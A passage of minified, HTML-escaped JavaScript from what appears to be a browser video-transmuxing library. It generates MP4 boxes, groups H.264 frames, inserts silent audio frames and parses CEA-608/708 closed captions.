Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,(65280&amp;track.width)&gt;&gt;8,255&amp;track.width,(65280&amp;track.height)&gt;&gt;8,255&amp;track.height,0,72,0,0,0,72,0,0,0,0,0,0,0,1,19,118,105,100,101,111,106,115,45,99,111,110,116,114,105,98,45,104,108,115,0,0,0,0,0,0,0,0,0,0,0,0,0,24,17,17]),box(types.avcC,new Uint8Array([1,track.profileIdc,track.profileCompatibility,track.levelIdc,255].concat([sps.length],sequenceParameterSets,[pps.length],pictureParameterSets))),box(types.btrt,new Uint8Array([0,28,156,128,0,45,198,192,0,45,198,192]))],track.sarRatio){var hSpacing=track.sarRatio[0],vSpacing=track.sarRatio[1];avc1Box.push(box(types.pasp,new Uint8Array([(4278190080&amp;hSpacing)&gt;&gt;24,(16711680&amp;hSpacing)&gt;&gt;16,(65280&amp;hSpacing)&gt;&gt;8,255&amp;hSpacing,(4278190080&amp;vSpacing)&gt;&gt;24,(16711680&amp;vSpacing)&gt;&gt;16,(65280&amp;vSpacing)&gt;&gt;8,255&amp;vSpacing])))}return box.apply(null,avc1Box)},audioSample=function(track){return box(types.mp4a,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,(65280&amp;track.channelcount)&gt;&gt;8,255&amp;track.channelcount,(65280&amp;track.samplesize)&gt;&gt;8,255&amp;track.samplesize,0,0,0,0,(65280&amp;track.samplerate)&gt;&gt;8,255&amp;track.samplerate,0,0]),esds(track))},tkhd=function(track){var result=new Uint8Array([0,0,0,7,0,0,0,0,0,0,0,0,(4278190080&amp;track.id)&gt;&gt;24,(16711680&amp;track.id)&gt;&gt;16,(65280&amp;track.id)&gt;&gt;8,255&amp;track.id,0,0,0,0,(4278190080&amp;track.duration)&gt;&gt;24,(16711680&amp;track.duration)&gt;&gt;16,(65280&amp;track.duration)&gt;&gt;8,255&amp;track.duration,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,(65280&amp;track.width)&gt;&gt;8,255&amp;track.width,0,0,(65280&amp;track.height)&gt;&gt;8,255&amp;track.height,0,0]);return box(types.tkhd,result)},traf=function(track){var trackFragmentHeader,trackFragmentDecodeTime,trackFragmentRun,sampleDependencyTable,upperWordBaseMediaDecodeTime,lowerWordBaseMediaDecodeTime;return trackFragmentHeader=box(types.tfhd,new Uint8Array([0,0,0,58,(4278190080&amp;track.id)&gt;&gt;24,(16711680&amp;track.id)&gt;&gt;16,(65280&amp;track.id)&gt;&gt;8,255&amp;track.id,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0])),upperWordBaseMediaDecodeTime=Math.floor(track.baseMediaDecodeTime/(UINT32_MAX+1)),lowerWordBaseMediaDecodeTime=Math.floor(track.baseMediaDecodeTime%(UINT32_MAX+1)),trackFragmentDecodeTime=box(types.tfdt,new Uint8Array([1,0,0,0,upperWordBaseMediaDecodeTime&gt;&gt;&gt;24&amp;255,upperWordBaseMediaDecodeTime&gt;&gt;&gt;16&amp;255,upperWordBaseMediaDecodeTime&gt;&gt;&gt;8&amp;255,255&amp;upperWordBaseMediaDecodeTime,lowerWordBaseMediaDecodeTime&gt;&gt;&gt;24&amp;255,lowerWordBaseMediaDecodeTime&gt;&gt;&gt;16&amp;255,lowerWordBaseMediaDecodeTime&gt;&gt;&gt;8&amp;255,255&amp;lowerWordBaseMediaDecodeTime])),92,&quot;audio&quot;===track.type?(trackFragmentRun=trun$1(track,92),box(types.traf,trackFragmentHeader,trackFragmentDecodeTime,trackFragmentRun)):(sampleDependencyTable=sdtp(track),trackFragmentRun=trun$1(track,sampleDependencyTable.length+92),box(types.traf,trackFragmentHeader,trackFragmentDecodeTime,trackFragmentRun,sampleDependencyTable))},trak=function(track){return track.duration=track.duration||4294967295,box(types.trak,tkhd(track),mdia(track))},trex=function(track){var result=new Uint8Array([0,0,0,0,(4278190080&amp;track.id)&gt;&gt;24,(16711680&amp;track.id)&gt;&gt;16,(65280&amp;track.id)&gt;&gt;8,255&amp;track.id,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1]);return&quot;video&quot;!==track.type&amp;&amp;(result[result.length-1]=0),box(types.trex,result)},trunHeader=function(samples,offset){var durationPresent=0,sizePresent=0,flagsPresent=0,compositionTimeOffset=0;return samples.length&amp;&amp;(void 0!==samples[0].duration&amp;&amp;(durationPresent=1),void 0!==samples[0].size&amp;&amp;(sizePresent=2),void 0!==samples[0].flags&amp;&amp;(flagsPresent=4),void 0!==samples[0].compositionTimeOffset&amp;&amp;(compositionTimeOffset=8)),[0,0,durationPresent|sizePresent|flagsPresent|compositionTimeOffset,1,(4278190080&amp;samples.length)&gt;&gt;&gt;24,(16711680&amp;samples.length)&gt;&gt;&gt;16,(65280&amp;samples.length)&gt;&gt;&gt;8,255&amp;samples.length,(4278190080&amp;offset)&gt;&gt;&gt;24,(16711680&amp;offset)&gt;&gt;&gt;16,(65280&amp;offset)&gt;&gt;&gt;8,255&amp;offset]},videoTrun=function(track,offset){var bytesOffest,bytes,header,samples,sample,i;for(offset+=20+16*(samples=track.samples||[]).length,header=trunHeader(samples,offset),(bytes=new Uint8Array(header.length+16*samples.length)).set(header),bytesOffest=header.length,i=0;i&lt;samples.length;i++)sample=samples[i],bytes[bytesOffest++]=(4278190080&amp;sample.duration)&gt;&gt;&gt;24,bytes[bytesOffest++]=(16711680&amp;sample.duration)&gt;&gt;&gt;16,bytes[bytesOffest++]=(65280&amp;sample.duration)&gt;&gt;&gt;8,bytes[bytesOffest++]=255&amp;sample.duration,bytes[bytesOffest++]=(4278190080&amp;sample.size)&gt;&gt;&gt;24,bytes[bytesOffest++]=(16711680&amp;sample.size)&gt;&gt;&gt;16,bytes[bytesOffest++]=(65280&amp;sample.size)&gt;&gt;&gt;8,bytes[bytesOffest++]=255&amp;sample.size,bytes[bytesOffest++]=sample.flags.isLeading&lt;&lt;2|sample.flags.dependsOn,bytes[bytesOffest++]=sample.flags.isDependedOn&lt;&lt;6|sample.flags.hasRedundancy&lt;&lt;4|sample.flags.paddingValue&lt;&lt;1|sample.flags.isNonSyncSample,bytes[bytesOffest++]=61440&amp;sample.flags.degradationPriority,bytes[bytesOffest++]=15&amp;sample.flags.degradationPriority,bytes[bytesOffest++]=(4278190080&amp;sample.compositionTimeOffset)&gt;&gt;&gt;24,bytes[bytesOffest++]=(16711680&amp;sample.compositionTimeOffset)&gt;&gt;&gt;16,bytes[bytesOffest++]=(65280&amp;sample.compositionTimeOffset)&gt;&gt;&gt;8,bytes[bytesOffest++]=255&amp;sample.compositionTimeOffset;return box(types.trun,bytes)},audioTrun=function(track,offset){var bytes,bytesOffest,header,samples,sample,i;for(offset+=20+8*(samples=track.samples||[]).length,header=trunHeader(samples,offset),(bytes=new Uint8Array(header.length+8*samples.length)).set(header),bytesOffest=header.length,i=0;i&lt;samples.length;i++)sample=samples[i],bytes[bytesOffest++]=(4278190080&amp;sample.duration)&gt;&gt;&gt;24,bytes[bytesOffest++]=(16711680&amp;sample.duration)&gt;&gt;&gt;16,bytes[bytesOffest++]=(65280&amp;sample.duration)&gt;&gt;&gt;8,bytes[bytesOffest++]=255&amp;sample.duration,bytes[bytesOffest++]=(4278190080&amp;sample.size)&gt;&gt;&gt;24,bytes[bytesOffest++]=(16711680&amp;sample.size)&gt;&gt;&gt;16,bytes[bytesOffest++]=(65280&amp;sample.size)&gt;&gt;&gt;8,bytes[bytesOffest++]=255&amp;sample.size;return box(types.trun,bytes)},trun$1=function(track,offset){return&quot;audio&quot;===track.type?audioTrun(track,offset):videoTrun(track,offset)};ftyp=function(){return box(types.ftyp,MAJOR_BRAND,MINOR_VERSION,MAJOR_BRAND,AVC1_BRAND)};var silence,secondsToVideoTs,secondsToAudioTs,videoTsToSeconds,audioTsToSeconds,audioTsToVideoTs,videoTsToAudioTs,metadataTsToSeconds,mp4Generator_mdat=function(data){return box(types.mdat,data)},mp4Generator_moof=moof,mp4Generator_initSegment=function(tracks){var result,fileType=ftyp(),movie=moov(tracks);return(result=new Uint8Array(fileType.byteLength+movie.byteLength)).set(fileType),result.set(movie,fileType.byteLength),result},sampleForFrame=function(frame,dataOffset){var sample={size:0,flags:{isLeading:0,dependsOn:1,isDependedOn:0,hasRedundancy:0,degradationPriority:0,isNonSyncSample:1}};return sample.dataOffset=dataOffset,sample.compositionTimeOffset=frame.pts-frame.dts,sample.duration=frame.duration,sample.size=4*frame.length,sample.size+=frame.byteLength,frame.keyFrame&amp;&amp;(sample.flags.dependsOn=2,sample.flags.isNonSyncSample=0),sample},frameUtils_groupNalsIntoFrames=function(nalUnits){var i,currentNal,currentFrame=[],frames=[];for(frames.byteLength=0,frames.nalCount=0,frames.duration=0,currentFrame.byteLength=0,i=0;i&lt;nalUnits.length;i++)&quot;access_unit_delimiter_rbsp&quot;===(currentNal=nalUnits[i]).nalUnitType?(currentFrame.length&amp;&amp;(currentFrame.duration=currentNal.dts-currentFrame.dts,frames.byteLength+=currentFrame.byteLength,frames.nalCount+=currentFrame.length,frames.duration+=currentFrame.duration,frames.push(currentFrame)),(currentFrame=[currentNal]).byteLength=currentNal.data.byteLength,currentFrame.pts=currentNal.pts,currentFrame.dts=currentNal.dts):(&quot;slice_layer_without_partitioning_rbsp_idr&quot;===currentNal.nalUnitType&amp;&amp;(currentFrame.keyFrame=!0),currentFrame.duration=currentNal.dts-currentFrame.dts,currentFrame.byteLength+=currentNal.data.byteLength,currentFrame.push(currentNal));return frames.length&amp;&amp;(!currentFrame.duration||currentFrame.duration&lt;=0)&amp;&amp;(currentFrame.duration=frames[frames.length-1].duration),frames.byteLength+=currentFrame.byteLength,frames.nalCount+=currentFrame.length,frames.duration+=currentFrame.duration,frames.push(currentFrame),frames},frameUtils_groupFramesIntoGops=function(frames){var i,currentFrame,currentGop=[],gops=[];for(currentGop.byteLength=0,currentGop.nalCount=0,currentGop.duration=0,currentGop.pts=frames[0].pts,currentGop.dts=frames[0].dts,gops.byteLength=0,gops.nalCount=0,gops.duration=0,gops.pts=frames[0].pts,gops.dts=frames[0].dts,i=0;i&lt;frames.length;i++)(currentFrame=frames[i]).keyFrame?(currentGop.length&amp;&amp;(gops.push(currentGop),gops.byteLength+=currentGop.byteLength,gops.nalCount+=currentGop.nalCount,gops.duration+=currentGop.duration),(currentGop=[currentFrame]).nalCount=currentFrame.length,currentGop.byteLength=currentFrame.byteLength,currentGop.pts=currentFrame.pts,currentGop.dts=currentFrame.dts,currentGop.duration=currentFrame.duration):(currentGop.duration+=currentFrame.duration,currentGop.nalCount+=currentFrame.length,currentGop.byteLength+=currentFrame.byteLength,currentGop.push(currentFrame));return gops.length&amp;&amp;currentGop.duration&lt;=0&amp;&amp;(currentGop.duration=gops[gops.length-1].duration),gops.byteLength+=currentGop.byteLength,gops.nalCount+=currentGop.nalCount,gops.duration+=currentGop.duration,gops.push(currentGop),gops},frameUtils_extendFirstKeyFrame=function(gops){var currentGop;return!gops[0][0].keyFrame&amp;&amp;gops.length&gt;1&amp;&amp;(currentGop=gops.shift(),gops.byteLength-=currentGop.byteLength,gops.nalCount-=currentGop.nalCount,gops[0][0].dts=currentGop.dts,gops[0][0].pts=currentGop.pts,gops[0][0].duration+=currentGop.duration),gops},frameUtils_generateSampleTable=function(gops,baseDataOffset){var h,i,sample,currentGop,currentFrame,dataOffset=baseDataOffset||0,samples=[];for(h=0;h&lt;gops.length;h++)for(currentGop=gops[h],i=0;i&lt;currentGop.length;i++)currentFrame=currentGop[i],dataOffset+=(sample=sampleForFrame(currentFrame,dataOffset)).size,samples.push(sample);return samples},frameUtils_concatenateNalData=function(gops){var h,i,j,currentGop,currentFrame,currentNal,dataOffset=0,nalsByteLength=gops.byteLength,numberOfNals=gops.nalCount,data=new Uint8Array(nalsByteLength+4*numberOfNals),view=new DataView(data.buffer);for(h=0;h&lt;gops.length;h++)for(currentGop=gops[h],i=0;i&lt;currentGop.length;i++)for(currentFrame=currentGop[i],j=0;j&lt;currentFrame.length;j++)currentNal=currentFrame[j],view.setUint32(dataOffset,currentNal.data.byteLength),dataOffset+=4,data.set(currentNal.data,dataOffset),dataOffset+=currentNal.data.byteLength;return data},highPrefix=[33,16,5,32,164,27],lowPrefix=[33,65,108,84,1,2,4,8,168,2,4,8,17,191,252],zeroFill=function(count){for(var a=[];count--;)a.push(0);return a},silence_1=function(){if(!silence){var coneOfSilence={96e3:[highPrefix,[227,64],zeroFill(154),[56]],88200:[highPrefix,[231],zeroFill(170),[56]],64e3:[highPrefix,[248,192],zeroFill(240),[56]],48e3:[highPrefix,[255,192],zeroFill(268),[55,148,128],zeroFill(54),[112]],44100:[highPrefix,[255,192],zeroFill(268),[55,163,128],zeroFill(84),[112]],32e3:[highPrefix,[255,192],zeroFill(268),[55,234],zeroFill(226),[112]],24e3:[highPrefix,[255,192],zeroFill(268),[55,255,128],zeroFill(268),[111,112],zeroFill(126),[224]],16e3:[highPrefix,[255,192],zeroFill(268),[55,255,128],zeroFill(268),[111,255],zeroFill(269),[223,108],zeroFill(195),[1,192]],12e3:[lowPrefix,zeroFill(268),[3,127,248],zeroFill(268),[6,255,240],zeroFill(268),[13,255,224],zeroFill(268),[27,253,128],zeroFill(259),[56]],11025:[lowPrefix,zeroFill(268),[3,127,248],zeroFill(268),[6,255,240],zeroFill(268),[13,255,224],zeroFill(268),[27,255,192],zeroFill(268),[55,175,128],zeroFill(108),[112]],8e3:[lowPrefix,zeroFill(268),[3,121,16],zeroFill(47),[7]]};metaTable=coneOfSilence,silence=Object.keys(metaTable).reduce((function(obj,key){return obj[key]=new Uint8Array(metaTable[key].reduce((function(arr,part){return arr.concat(part)}),[])),obj}),{})}var metaTable;return silence};audioTsToVideoTs=function(timestamp,sampleRate){return secondsToVideoTs(audioTsToSeconds(timestamp,sampleRate))},videoTsToAudioTs=function(timestamp,sampleRate){return secondsToAudioTs(videoTsToSeconds(timestamp),sampleRate)},metadataTsToSeconds=function(timestamp,timelineStartPts,keepOriginalTimestamps){return videoTsToSeconds(keepOriginalTimestamps?timestamp:timestamp-timelineStartPts)};var clock_ONE_SECOND_IN_TS$0=9e4,clock_secondsToVideoTs$0=secondsToVideoTs=function(seconds){return 9e4*seconds},clock_videoTsToSeconds$0=(secondsToAudioTs=function(seconds,sampleRate){return seconds*sampleRate},videoTsToSeconds=function(timestamp){return timestamp/9e4}),clock_audioTsToVideoTs$0=(audioTsToSeconds=function(timestamp,sampleRate){return timestamp/sampleRate},audioTsToVideoTs),clock_videoTsToAudioTs$0=videoTsToAudioTs,clock_metadataTsToSeconds$0=metadataTsToSeconds,audioFrameUtils_prefixWithSilence=function(track,frames,audioAppendStartTs,videoBaseMediaDecodeTime){var baseMediaDecodeTimeTs,frameDuration,silentFrame,i,firstFrame,audioGapDuration=0,audioFillFrameCount=0,audioFillDuration=0;if(frames.length&amp;&amp;(baseMediaDecodeTimeTs=clock_audioTsToVideoTs$0(track.baseMediaDecodeTime,track.samplerate),frameDuration=Math.ceil(clock_ONE_SECOND_IN_TS$0/(track.samplerate/1024)),audioAppendStartTs&amp;&amp;videoBaseMediaDecodeTime&amp;&amp;(audioGapDuration=baseMediaDecodeTimeTs-Math.max(audioAppendStartTs,videoBaseMediaDecodeTime),audioFillDuration=(audioFillFrameCount=Math.floor(audioGapDuration/frameDuration))*frameDuration),!(audioFillFrameCount&lt;1||audioFillDuration&gt;clock_ONE_SECOND_IN_TS$0/2))){for((silentFrame=silence_1()[track.samplerate])||(silentFrame=frames[0].data),i=0;i&lt;audioFillFrameCount;i++)firstFrame=frames[0],frames.splice(0,0,{data:silentFrame,dts:firstFrame.dts-frameDuration,pts:firstFrame.pts-frameDuration});return track.baseMediaDecodeTime-=Math.floor(clock_videoTsToAudioTs$0(audioFillDuration,track.samplerate)),audioFillDuration}},audioFrameUtils_trimAdtsFramesByEarliestDts=function(adtsFrames,track,earliestAllowedDts){return track.minSegmentDts&gt;=earliestAllowedDts?adtsFrames:(track.minSegmentDts=1/0,adtsFrames.filter((function(currentFrame){return currentFrame.dts&gt;=earliestAllowedDts&amp;&amp;(track.minSegmentDts=Math.min(track.minSegmentDts,currentFrame.dts),track.minSegmentPts=track.minSegmentDts,!0)})))},audioFrameUtils_generateSampleTable=function(frames){var i,currentFrame,samples=[];for(i=0;i&lt;frames.length;i++)currentFrame=frames[i],samples.push({size:currentFrame.data.byteLength,duration:1024});return samples},audioFrameUtils_concatenateFrameData=function(frames){var i,currentFrame,dataOffset=0,data=new Uint8Array(function(array){var i,sum=0;for(i=0;i&lt;array.length;i++)sum+=array[i].data.byteLength;return sum}(frames));for(i=0;i&lt;frames.length;i++)currentFrame=frames[i],data.set(currentFrame.data,dataOffset),dataOffset+=currentFrame.data.byteLength;return data},ONE_SECOND_IN_TS$3=clock_ONE_SECOND_IN_TS$0,trackDecodeInfo_clearDtsInfo=function(track){delete track.minSegmentDts,delete track.maxSegmentDts,delete track.minSegmentPts,delete track.maxSegmentPts},trackDecodeInfo_calculateTrackBaseMediaDecodeTime=function(track,keepOriginalTimestamps){var baseMediaDecodeTime,minSegmentDts=track.minSegmentDts;return keepOriginalTimestamps||(minSegmentDts-=track.timelineStartInfo.dts),baseMediaDecodeTime=track.timelineStartInfo.baseMediaDecodeTime,baseMediaDecodeTime+=minSegmentDts,baseMediaDecodeTime=Math.max(0,baseMediaDecodeTime),&quot;audio&quot;===track.type&amp;&amp;(baseMediaDecodeTime*=track.samplerate/ONE_SECOND_IN_TS$3,baseMediaDecodeTime=Math.floor(baseMediaDecodeTime)),baseMediaDecodeTime},trackDecodeInfo_collectDtsInfo=function(track,data){&quot;number&quot;==typeof data.pts&amp;&amp;(void 0===track.timelineStartInfo.pts&amp;&amp;(track.timelineStartInfo.pts=data.pts),void 0===track.minSegmentPts?track.minSegmentPts=data.pts:track.minSegmentPts=Math.min(track.minSegmentPts,data.pts),void 0===track.maxSegmentPts?track.maxSegmentPts=data.pts:track.maxSegmentPts=Math.max(track.maxSegmentPts,data.pts)),&quot;number&quot;==typeof data.dts&amp;&amp;(void 0===track.timelineStartInfo.dts&amp;&amp;(track.timelineStartInfo.dts=data.dts),void 0===track.minSegmentDts?track.minSegmentDts=data.dts:track.minSegmentDts=Math.min(track.minSegmentDts,data.dts),void 0===track.maxSegmentDts?track.maxSegmentDts=data.dts:track.maxSegmentDts=Math.max(track.maxSegmentDts,data.dts))},captionPacketParser_parseSei=function(bytes){for(var i=0,result={payloadType:-1,payloadSize:0},payloadType=0,payloadSize=0;i&lt;bytes.byteLength&amp;&amp;128!==bytes[i];){for(;255===bytes[i];)payloadType+=255,i++;for(payloadType+=bytes[i++];255===bytes[i];)payloadSize+=255,i++;if(payloadSize+=bytes[i++],!result.payload&amp;&amp;4===payloadType){if(&quot;GA94&quot;===String.fromCharCode(bytes[i+3],bytes[i+4],bytes[i+5],bytes[i+6])){result.payloadType=payloadType,result.payloadSize=payloadSize,result.payload=bytes.subarray(i,i+payloadSize);break}result.payload=void 0}i+=payloadSize,payloadType=0,payloadSize=0}return result},captionPacketParser_parseUserData=function(sei){return 181!==sei.payload[0]||49!=(sei.payload[1]&lt;&lt;8|sei.payload[2])||&quot;GA94&quot;!==String.fromCharCode(sei.payload[3],sei.payload[4],sei.payload[5],sei.payload[6])||3!==sei.payload[7]?null:sei.payload.subarray(8,sei.payload.length-1)},captionPacketParser_parseCaptionPackets=function(pts,userData){var i,count,offset,data,results=[];if(!(64&amp;userData[0]))return results;for(count=31&amp;userData[0],i=0;i&lt;count;i++)data={type:3&amp;userData[(offset=3*i)+2],pts:pts},4&amp;userData[offset+2]&amp;&amp;(data.ccData=userData[offset+3]&lt;&lt;8|userData[offset+4],results.push(data));return results},captionPacketParser_discardEmulationPreventionBytes=function(data){for(var newLength,newData,length=data.byteLength,emulationPreventionBytesPositions=[],i=1;i&lt;length-2;)0===data[i]&amp;&amp;0===data[i+1]&amp;&amp;3===data[i+2]?(emulationPreventionBytesPositions.push(i+2),i+=2):i++;if(0===emulationPreventionBytesPositions.length)return data;newLength=length-emulationPreventionBytesPositions.length,newData=new Uint8Array(newLength);var sourceIndex=0;for(i=0;i&lt;newLength;sourceIndex++,i++)sourceIndex===emulationPreventionBytesPositions[0]&amp;&amp;(sourceIndex++,emulationPreventionBytesPositions.shift()),newData[i]=data[sourceIndex];return newData},captionPacketParser_USER_DATA_REGISTERED_ITU_T_T35=4,CaptionStream$1=function CaptionStream(options){options=options||{},CaptionStream.prototype.init.call(this),this.parse708captions_=&quot;boolean&quot;!=typeof options.parse708captions||options.parse708captions,this.captionPackets_=[],this.ccStreams_=[new Cea608Stream(0,0),new Cea608Stream(0,1),new Cea608Stream(1,0),new Cea608Stream(1,1)],this.parse708captions_&amp;&amp;(this.cc708Stream_=new Cea708Stream({captionServices:options.captionServices})),this.reset(),this.ccStreams_.forEach((function(cc){cc.on(&quot;data&quot;,this.trigger.bind(this,&quot;data&quot;)),cc.on(&quot;partialdone&quot;,this.trigger.bind(this,&quot;partialdone&quot;)),cc.on(&quot;done&quot;,this.trigger.bind(this,&quot;done&quot;))}),this),this.parse708captions_&amp;&amp;(this.cc708Stream_.on(&quot;data&quot;,this.trigger.bind(this,&quot;data&quot;)),this.cc708Stream_.on(&quot;partialdone&quot;,this.trigger.bind(this,&quot;partialdone&quot;)),this.cc708Stream_.on(&quot;done&quot;,this.trigger.bind(this,&quot;done&quot;)))};(CaptionStream$1.prototype=new stream).push=function(event){var sei,userData,newCaptionPackets;if(&quot;sei_rbsp&quot;===event.nalUnitType&amp;&amp;(sei=captionPacketParser_parseSei(event.escapedRBSP)).payload&amp;&amp;sei.payloadType===captionPacketParser_USER_DATA_REGISTERED_ITU_T_T35&amp;&amp;(userData=captionPacketParser_parseUserData(sei)))if(event.dts&lt;this.latestDts_)this.ignoreNextEqualDts_=!0;else{if(event.dts===this.latestDts_&amp;&amp;this.ignoreNextEqualDts_)return this.numSameDts_--,void(this.numSameDts_||(this.ignoreNextEqualDts_=!1));newCaptionPackets=captionPacketParser_parseCaptionPackets(event.pts,userData),this.captionPackets_=this.captionPackets_.concat(newCaptionPackets),this.latestDts_!==event.dts&amp;&amp;(this.numSameDts_=0),this.numSameDts_++,this.latestDts_=event.dts}},CaptionStream$1.prototype.flushCCStreams=function(flushType){this.ccStreams_.forEach((function(cc){return&quot;flush&quot;===flushType?cc.flush():cc.partialFlush()}),this)},CaptionStream$1.prototype.flushStream=function(flushType){this.captionPackets_.length?(this.captionPackets_.forEach((function(elem,idx){elem.presortIndex=idx})),this.captionPackets_.sort((function(a,b){return a.pts===b.pts?a.presortIndex-b.presortIndex:a.pts-b.pts})),this.captionPackets_.forEach((function(packet){packet.type&lt;2?this.dispatchCea608Packet(packet):this.dispatchCea708Packet(packet)}),this),this.captionPackets_.length=0,this.flushCCStreams(flushType)):this.flushCCStreams(flushType)},CaptionStream$1.prototype.flush=function(){return this.flushStream(&quot;flush&quot;)},CaptionStream$1.prototype.partialFlush=function(){return this.flushStream(&quot;partialFlush&quot;)},CaptionStream$1.prototype.reset=function(){this.latestDts_=null,this.ignoreNextEqualDts_=!1,this.numSameDts_=0,this.activeCea608Channel_=[null,null],this.ccStreams_.forEach((function(ccStream){ccStream.reset()}))},CaptionStream$1.prototype.dispatchCea608Packet=function(packet){this.setsTextOrXDSActive(packet)?this.activeCea608Channel_[packet.type]=null:this.setsChannel1Active(packet)?this.activeCea608Channel_[packet.type]=0:this.setsChannel2Active(packet)&amp;&amp;(this.activeCea608Channel_[packet.type]=1),null!==this.activeCea608Channel_[packet.type]&amp;&amp;this.ccStreams_[(packet.type&lt;&lt;1)+this.activeCea608Channel_[packet.type]].push(packet)},CaptionStream$1.prototype.setsChannel1Active=function(packet){return 4096==(30720&amp;packet.ccData)},CaptionStream$1.prototype.setsChannel2Active=function(packet){return 6144==(30720&amp;packet.ccData)},CaptionStream$1.prototype.setsTextOrXDSActive=function(packet){return 256==(28928&amp;packet.ccData)||4138==(30974&amp;packet.ccData)||6186==(30974&amp;packet.ccData)},CaptionStream$1.prototype.dispatchCea708Packet=function(packet){this.parse708captions_&amp;&amp;this.cc708Stream_.push(packet)};var CHARACTER_TRANSLATION_708={127:9834,4128:32,4129:160,4133:8230,4138:352,4140:338,4144:9608,4145:8216,4146:8217,4147:8220,4148:8221,4149:8226,4153:8482,4154:353,4156:339,4157:8480,4159:376,4214:8539,4215:8540,4216:8541,4217:8542,4218:9168,4219:9124,4220:9123,4221:9135,4222:9126,4223:9121,4256:12600},within708TextBlock=function(b){return 32&lt;=b&amp;&amp;b&lt;=127||160&lt;=b&amp;&amp;b&lt;=255},Cea708Window=function(windowNum){this.windowNum=windowNum,this.reset()};Cea708Window.prototype.reset=function(){this.clearText(),this.pendingNewLine=!1,this.winAttr={},this.penAttr={},this.penLoc={},this.penColor={},this.visible=0,this.rowLock=0,this.columnLock=0,this.priority=0,this.relativePositioning=0,this.anchorVertical=0,this.anchorHorizontal=0,this.anchorPoint=0,this.rowCount=1,this.virtualRowCount=this.rowCount+1,this.columnCount=41,this.windowStyle=0,this.penStyle=0},Cea708Window.prototype.getText=function(){return this.rows.join(&quot;\n&quot;)},Cea708Window.prototype.clearText=function(){this.rows=[&quot;&quot;],this.rowIdx=0},Cea708Window.prototype.newLine=function(pts){for(this.rows.length&gt;=this.virtualRowCount&amp;&amp;&quot;function&quot;==typeof this.beforeRowOverflow&amp;&amp;this.beforeRowOverflow(pts),this.rows.length&gt;0&amp;&amp;(this.rows.push(&quot;&quot;),this.rowIdx++);this.rows.length&gt;this.virtualRowCount;)this.rows.shift(),this.rowIdx--},Cea708Window.prototype.isEmpty=function(){return 0===this.rows.length||1===this.rows.length&amp;&amp;&quot;&quot;===this.rows[0]},Cea708Window.prototype.addText=function(text){this.rows[this.rowIdx]+=text},Cea708Window.prototype.backspace=function(){if(!this.isEmpty()){var row=this.rows[this.rowIdx];this.rows[this.rowIdx]=row.substr(0,row.length-1)}};var Cea708Service=function(serviceNum,encoding,stream){this.serviceNum=serviceNum,this.text=&quot;&quot;,this.currentWindow=new Cea708Window(-1),this.windows=[],this.stream=stream,&quot;string&quot;==typeof encoding&amp;&amp;this.createTextDecoder(encoding)};Cea708Service.prototype.init=function(pts,beforeRowOverflow){this.startPts=pts;for(var win=0;win&lt;8;win++)this.windows[win]=new Cea708Window(win),&quot;function&quot;==typeof beforeRowOverflow&amp;&amp;(this.windows[win].beforeRowOverflow=beforeRowOverflow)},Cea708Service.prototype.setCurrentWindow=function(windowNum){this.currentWindow=this.windows[windowNum]},Cea708Service.prototype.createTextDecoder=function(encoding){if(&quot;undefined&quot;==typeof TextDecoder)this.stream.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;The `encoding` option is unsupported without TextDecoder support&quot;});else try{this.textDecoder_=new TextDecoder(encoding)}catch(error){this.stream.trigger(&quot;log&quot;,{level:&quot;warn&quot;,message:&quot;TextDecoder could not be created with &quot;+encoding+&quot; encoding. &quot;+error})}};var Cea708Stream=function Cea708Stream(options){options=options||{},Cea708Stream.prototype.init.call(this);var serviceProps,self=this,captionServices=options.captionServices||{},captionServiceEncodings={};Object.keys(captionServices).forEach((function(serviceName){serviceProps=captionServices[serviceName],/^SERVICE/.test(serviceName)&amp;&amp;(captionServiceEncodings[serviceName]=serviceProps.encoding)})),this.serviceEncodings=captionServiceEncodings,this.current708Packet=null,this.services={},this.push=function(packet){3===packet.type?(self.new708Packet(),self.add708Bytes(packet)):(null===self.current708Packet&amp;&amp;self.new708Packet(),self.add708Bytes(packet))}};Cea708Stream.prototype=new stream,Cea708Stream.prototype.new708Packet=function(){null!==this.current708Packet&amp;&amp;this.push708Packet(),this.current708Packet={data:[],ptsVals:[]}},Cea708Stream.prototype.add708Bytes=function(packet){var data=packet.ccData,byte0=data&gt;&gt;&gt;8,byte1=255&amp;data;this.current708Packet.ptsVals.push(packet.pts),this.current708Packet.data.push(byte0),this.current708Packet.data.push(byte1)},Cea708Stream.prototype.push708Packet=function(){var packet708=this.current708Packet,packetData=packet708.data,serviceNum=null,blockSize=null,i=0,b=packetData[i++];for(packet708.seq=b&gt;&gt;6,packet708.sizeCode=63&amp;b;i&lt;packetData.length;i++)blockSize=31&amp;(b=packetData[i++]),7===(serviceNum=b&gt;&gt;5)&amp;&amp;blockSize&gt;0&amp;&amp;(serviceNum=b=packetData[i++]),this.pushServiceBlock(serviceNum,i,blockSize),blockSize&gt;0&amp;&amp;(i+=blockSize-1)},Cea708Stream.prototype.pushServiceBlock=function(serviceNum,start,size){var b,i=start,packetData=this.current708Packet.data,service=this.services[serviceNum];for(service||(service=this.initService(serviceNum,i));i&lt;start+size&amp;&amp;i&lt;packetData.length;i++)b=packetData[i],within708TextBlock(b)?i=this.handleText(i,service):24===b?i=this.multiByteCharacter(i,service):16===b?i=this.extendedCommands(i,service):128&lt;=b&amp;&amp;b&lt;=135?i=this.setCurrentWindow(i,service):152&lt;=b&amp;&amp;b&lt;=159?i=this.defineWindow(i,service):136===b?i=this.clearWindows(i,service):140===b?i=this.deleteWindows(i,service):137===b?i=this.displayWindows(i,service):138===b?i=this.hideWindows(i,service):139===b?i=this.toggleWindows(i,service):151===b?i=this.setWindowAttributes(i,service):144===b?i=this.setPenAttributes(i,service):145===b?i=this.setPenColor(i,service):146===b?i=this.setPenLocation(i,service):143===b?service=this.reset(i,service):8===b?service.currentWindow.backspace():12===b?service.currentWindow.clearText():13===b?service.currentWindow.pendingNewLine=!0:14===b?service.currentWindow.clearText():141===b&amp;&amp;i++},Cea708Stream.prototype.extendedCommands=function(i,service){var b=this.current708Packet.data[++i];return 